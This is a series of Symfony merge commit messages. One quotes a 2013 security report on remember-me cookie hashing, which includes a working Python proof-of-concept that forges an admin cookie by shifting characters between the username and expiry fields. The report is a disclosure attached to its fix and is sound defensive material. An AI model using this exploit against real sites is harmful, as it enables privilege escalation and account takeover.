This PR was merged into the 2.7 branch.
Discussion
----------
[DI] Check service IDs are valid
Based on #87
Commits
-------
0671884f41 [DI] Check service IDs are valid
This PR was merged into the 2.7 branch.
Discussion
----------
[Security] Add a separator in the remember me cookie hash
Fabien found this issue reported back in 2013 but it was never resolved. Pascal (@pborreli) did the original patch.
```
> -------- Original Message --------
> Subject: No structure in remember me MAC
> Date: Tue, 4 Jun 2013 09:46:21 +0100
> From: Jon Cave <jon@joncave.co.uk>
> To: security@symfony.com
>
> I have discovered a vulnerability in the Symfony framework that
> affects version 2.3 and all other 2.x releases. The vulnerability
> would allow an attacker to authenticate as a privileged user on sites
> with user registration and remember me login functionality enabled.
>
> The problem is that there is no structure in the data that is passed
> to the hash function when generating a MAC for remember me cookies.
> From
> Symfony\Component\Security\Http\RememberMe\TokenBasedRememberMeServices::generateCookieHash():
>
> return hash('sha256',
> $class.$username.$expires.$password.$this->getKey());
>
> This means that there are many inputs that result in the same hash.
> For example, a user can register with username "admin9" and receive
> the following cookie: "<class>:admin9:1370334467:<hash>" where <hash>
> is hash('sha256', "<class>admin91370334467<password><key>"). This
> cookie can then be modified to be: "<class>:admin:91370334467:<hash>"
> where <hash> is the same value as before. The application will load
> the "admin" user and recognise the provided hash as valid! (NB: I left
> out some base64 encoding to make things more obvious.)
>
> The solution to this is to use the same separator when generating the
> hash as is done when encoding the cookie, e.g.:
>
> return hash('sha256', $class . ':' . $username . ':' . $expires .
> ':' . $password . ':' . $this->getKey());
>
> It would also be a good idea to switch to using hash_hmac():
>
> return hash_hmac('sha256', $class . ':' . $username . ':' . $expires
> . ':' . $password, $this->getKey());
>
> This is because HMAC is a stronger MAC construction than the secret
> suffix one currently being used [1].
>
> Let me know if you have any questions.
>
> Cheers,
> Jon
> http://joncave.co.uk/
> @joncave
>
> [1]
> http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/
>
> Proof of concept code to perform the attack given a valid cookie to modify:
>
> import base64
> import requests
> import sys
>
> if __name__ == "__main__":
> if len(sys.argv) != 3:
> print "COOKIE URL"
> sys.exit(1)
>
> cookie = sys.argv[1] # Current cookie
> url = sys.argv[2] # URL
>
> cls, name, expires, mac = base64.b64decode(cookie).split(":")
>
> # Tamper
> name = base64.b64decode(name)
> expires = name[-1] + expires
> name = base64.b64encode(name[:-1])
>
> # Reconstruct
> cookie = ":".join([cls, name, expires, mac])
>
> print "Using cookie: " + cookie
> print
>
> cookies = {"REMEMBERME": base64.b64encode(cookie)}
> print requests.get(url, cookies=cookies).text
>
>
```
Commits
-------
6356982017 [Security] Add a separator in the remember me cookie hash
This PR was merged into the 2.7 branch.
Discussion
----------
[HttpFoundation] reject invalid method override
| Q | A
| ------------- | ---
| Branch? | 3.4
| Bug fix? | yes
| New feature? | no
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
From https://www.intigriti.com/company/submission/CfDJ8Pja6NZvkpNCmx5vVyiGSn7LV-k0ZJ4JlDGSPAaBG1sG1aNinWbVYRos8ldmLPCMSPdHLrwLufz8lXoJ-UNS3XW1_Xkxc7u9rIaENVJ_-nQV_uic7D1tmRhB6PFiBkRgBA
About `Request::getMethod`:
> There will be developers, who expect the http method to be valid and therefore will use the return value unescaped in sql, html or other dangerous places.
this is what this PR improves, forcing only ASCII letters in overridden methods.
> It is possible to set the header to "GET", "HEAD", "OPTIONS" and "TRACE". Because of this, the method Request::isMethodSafe() returns true, although the actual http method is post.
I don't think this creates any issue: not fixed.
> Normally, if you try to provide a request body in a GET-Request, the web server discards the request body. This security functionality can be completely bypassed through this. [...] Recommendation: Remove the parsed body params from the request object, if a method without a body is set.
I don't think this is valid: actually we *do* populate `$request->request` with the body of GET requests when some is sent.
> Even if very rare, some users still use old browsers, where CORS is not available. Or a server admin allowed headers to be cross origin. In those cases this functionality enables CSRF-Attackes, if the developers trusts the http method. (E.g. Shopware does this).
I don't understand this, not addressed.
ping @michaelcullum if you want to answer the person.
And other to review :)
Commits
-------
6ce9991392 [HttpFoundation] reject invalid method override
This PR was merged into the 2.7 branch.
Discussion
----------
[Form] Filter file uploads out of regular form types
| Q | A
| ------------- | ---
| Branch? | 2.7
| Bug fix? | yes
| New feature? | no
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
This PR filters uploaded files out of the data processed by any form type except `FileType`.
Commits
-------
205a44ea7d [Form] Filter file uploads out of regular form types
This PR was merged into the 2.8 branch.
Discussion
----------
[travis][appveyor] use symfony/flex to accelerate builds
| Q | A
| ------------- | ---
| Branch? | 2.8
| Bug fix? | no
| New feature? | no
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
Playing with https://github.com/symfony/flex/pull/409
The optimization is required because appveyor is transiently failing with OOM errors, see e.g.
https://ci.appveyor.com/project/fabpot/symfony/build/1.0.39377
Commits
-------
940ec8f2d5 [travis][appveyor] use symfony/flex to accelerate builds
This PR was merged into the 2.8 branch.
Discussion
----------
[travis] cache composer.lock files for deps=low
| Q | A
| ------------- | ---
| Branch? | 2.8
| Bug fix? | no
| New feature? | no
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
I just realized that the resolved package versions for lowest deps depends only on the root composer.json, and not on transitive deps.
This means we can cache the lock files and save ~10 minutes required to resolve the lowest deps of the SecurityBundle.
Commits
-------
caaa74cd9b [travis] cache composer.lock files for deps=low
This PR was merged into the 2.8 branch.
Discussion
----------
[travis] merge "same Symfony version" jobs in one
| Q | A
| ------------- | ---
| Branch? | 2.8
| Bug fix? | no
| New feature? |
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
Allowing to consume fewer jobs and save the 1 to 2 minutes bootstrap time of workers.
Commits
-------
9857ca07aa [travis] merge "same Symfony version" jobs in one
This PR was merged into the 2.7 branch.
Discussion
----------
[2.7] Make CI green
| Q | A
| ------------- | ---
| Branch? | 2.7
| Bug fix? | no
| New feature? | no
| BC breaks? | no
| Deprecations? | no
| Tests pass? | yes
| Fixed tickets | -
| License | MIT
| Doc PR | -
2.7 still receives security fixes for a few more months, let's keep its CI green.
Commits
-------
ced4201b43 [2.7] Make CI green
This PR was merged into the 2.7 branch.
Discussion
----------
[2.7][HttpFoundation] Remove support for legacy and risky HTTP headers
Commits
-------
eda2b20df5 [HttpFoundation] Remove support for legacy and risky HTTP headers
Fabien Potencier
Nicolas Grekas
Christian Flothmann
